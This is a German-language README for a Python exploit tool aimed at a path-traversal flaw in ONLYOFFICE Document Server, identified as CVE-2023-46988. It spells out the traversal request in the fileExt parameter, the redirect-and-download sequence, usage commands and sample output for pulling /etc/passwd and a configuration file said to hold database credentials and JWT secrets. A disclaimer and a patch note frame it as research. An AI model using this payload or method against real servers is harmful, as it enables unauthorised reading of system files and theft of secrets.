ONLYOFFICE Path-Traversal-Exploit (CVE-2023-46988)

📌 Überblick

Dieses Skript nutzt eine Path-Traversal-Schwachstelle im ONLYOFFICE Document Server (CVE-2023-46988) aus, die es nicht autorisierten Benutzern ermöglicht, beliebige Dateien vom Server zu kopieren. Die Schwachstelle befindet sich im Endpunkt /example/editor, wobei der Parameter fileExt manipuliert werden kann, um auf sensible System- und Konfigurationsdateien zuzugreifen.

⚠️ Haftungsausschluss

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken.
Die nicht autorisierte Nutzung gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch.

🛠 Funktionen

• Standardmäßige sensible Dateien abrufen:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (enthält Datenbank-Anmeldedaten & JWT-Geheimnisse)
• Beliebigen Dateipfad mit dem Argument --file angeben.
• Unterstützt optionale Proxy-Nutzung zum Abfangen mit Burp Suite (--proxy).
• Unterstützt optionale SSL-Überprüfung (--verify).
• Behebt Kodierungsprobleme beim Herunterladen von Dateien mit Sonderzeichen.

🚀 Verwendung

1️⃣ Grundlegende Verwendung (Standarddateien abrufen)

python onlyoffice_exploit.py http://localhost

Dadurch werden folgende Dateien abgerufen:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Eine benutzerdefinierte Datei abrufen (z. B. /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Proxy aktivieren (z. B. Burp Suite auf 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ SSL-Überprüfung aktivieren

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Proxy und SSL-Überprüfung kombinieren

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 So funktioniert es

1. Sendet eine Anfrage an /example/editor mit einem bösartigen fileExt-Parameter:
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Extrahiert die Weiterleitungs-URL aus der Antwort.
3. Analysiert den weitergeleiteten Dateinamen aus der Antwort.
4. Behebt Kodierungsprobleme für Sonderzeichen in Dateinamen.
5. Lädt die Datei von /example/download?fileName=<extracted_filename> herunter.

🛠 Beispielausgabe

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Gegenmaßnahmen

ONLYOFFICE hat diese Schwachstelle im Update vom Februar 2024 behoben.
Benutzer sollten auf die neueste Version aktualisieren, um ihre Server zu schützen.

🐜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE für Details.